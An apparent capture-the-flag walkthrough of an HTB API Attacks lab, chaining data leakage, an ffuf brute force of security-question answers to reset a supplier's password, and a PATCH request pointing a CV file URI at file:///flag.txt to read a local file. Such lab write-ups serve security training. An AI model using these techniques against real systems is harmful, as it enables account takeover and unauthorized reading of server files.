HTB Certified Web Penetration Tester’s Skill Assessment: API Attacks Walkthrough

Module Introduction

This challenge is part of the HTB Certified Web Penetration Tester skill assessment under the API Attacks module. It focuses on identifying and chaining real-world API vulnerabilities to gain unauthorized access and retrieve sensitive information. The assessment simulates a scenario involving insecure password resets, broken access controls, and improper file handling — making it a great exercise in exploiting insecure business logic and misconfigured permissions.

Scenario Overview

After responsibly disclosing vulnerabilities in versions v0 and v1 of the Inlanefreight E-Commerce Marketplace, the application administrator released a patched version (v2). However, new features were introduced by junior developers, and the admin requested another assessment to verify whether any new security risks had been introduced.

Assignment

You’ve been hired to assess the security of the new v2 web API. Your objective is to investigate the new functionalities implemented by junior developers and exploit any vulnerabilities that remain or have been introduced.

Assignment instructions

Initial Recon via Swagger

First, we accessed the Swagger UI documentation:

http://<ip>:<port>/swagger

Swagger API endpoint listing

Authenticating as Customer

Logged in using the following credentials:

Email: htbpentester@hackthebox.com
Password: HTBPentester

Login screen for customer credentials

The response returned a JWT, which we copied and pasted into the Authorization header.

JWT for customer login

Exploring Available Roles

Queried the /api/v2/authentication/current-user/roles endpoint.

Roles available to customers:

• Suppliers_Get
• Suppliers_GetAll

Roles assigned to the logged-in customer

Supplier Info Enumeration

Accessed:

GET /api/v2/suppliers

This endpoint leaked sensitive internal fields including:

• securityQuestion
• professionalCVPDFFileURI

This revealed a Mass Assignment vulnerability, since customers should not be able to view such private fields.

Leaked supplier data showing internal fields

Targeting a Specific Supplier by ID

We then enumerated a specific supplier using:

GET /api/v2/suppliers/{ID}

Tested with:

ID: 00ac3d74-6c7d-4ef0-bf15-00851bf353ba
Name: James Allen

Default values confirmed:

"securityQuestion": "SupplierDidNotProvideYet",
"professionalCVPDFFileURI": "SupplierDidNotUploadYet"

Supplier profile with default security fields

Investigating Password Reset Flow

Analyzed the endpoint:

POST /api/v2/authentication/suppliers/passwords/resets/security-question-answers

Attempted to reset James Allen’s password with an empty answer, since his profile indicated he hadn’t set one.

Unsuccessful password reset attempt for a supplier

Unsuccessful — the server rejected the request.

Finding Resettable Supplier Accounts

After some research, we identified multiple suppliers who did set security questions. All of them used:

"securityQuestion": "What is your favorite color?"

List of suppliers using same security question

We compiled a list of their emails and color.txt wordlist, used ffuf to brute-force possible answers:

ffuf -w colors.txt:PASS -w suppliers-emails.txt:EMAIL \
-u http://<ip>:<port>/api/v2/authentication/suppliers/passwords/resets/security-question-answers \
-X POST -H "Content-Type: application/json" \
-d '{"SupplierEmail": "EMAIL", "SecurityQuestionAnswer": "PASS", "NewPassword": "Password123456!@"}' \
-fr "false" -t 100

ffuf brute-force command and successful result

✅ Success!

• Email: some-user@example.com
• Answer: rust
• New Password: Password123456!@

Logging in as Supplier

We used the recovered credentials to log in:

Email: some-user@example.com
Password: Password123456!@

Successful login as compromised supplier

Authenticated as supplier role.

Supplier Info & File Upload Enumeration

Fetched current supplier profile:

GET /api/v2/suppliers/current-user

Confirmed no CV was uploaded yet.

Supplier profile with no uploaded CV

Uploading a Fake CV File

We created a random dummy PDF using:

dd if=/dev/urandom of=cvPDFForamtFile.pdf bs=50k count=1

Dummy PDF file generated for upload

The CV upload returned:

"fileURI": "file:///app/wwwroot/SupplierCVs/cvPDFForamtFile.pdf"

Injecting a Local File Path

Used the PATCH endpoint to override the CV file URI:

PATCH /api/v2/suppliers/current-user
{
  "ProfessionalCVPDFFileURI": "file:///flag.txt",
  "SecurityQuestion": "What is your favorite color?",
  "SecurityQuestionAnswer": "rust",
  "PhoneNumber": "string",
  "Password": "Password123456!@"
}

PATCH request showing file URI manipulation

We received a success status response, meaning the CV pointer was updated.

Retrieving the Flag

Used:

GET /api/v2/suppliers/current-user/cv

Received base64-encoded content.

Base64 encoded response from CV retrieval

Decoded content revealed:

HTB{The_Flag}

Final decoded flag output from the exploit

Conclusion

• 🟢 Mass Assignment vulnerability discovered
• 🟢 Sensitive Data Disclosure from customer role
• 🟢 Password Reset Exploit via security question fuzzing
• 🟢 LFI via File URI Injection
• 🟢 Successfully chained vulnerabilities for full flag access

Thanks for reading!

This write-up is part of my HTB Certified Web Penetration Tester journey.

🔗 Follow on for more walkthroughs & insights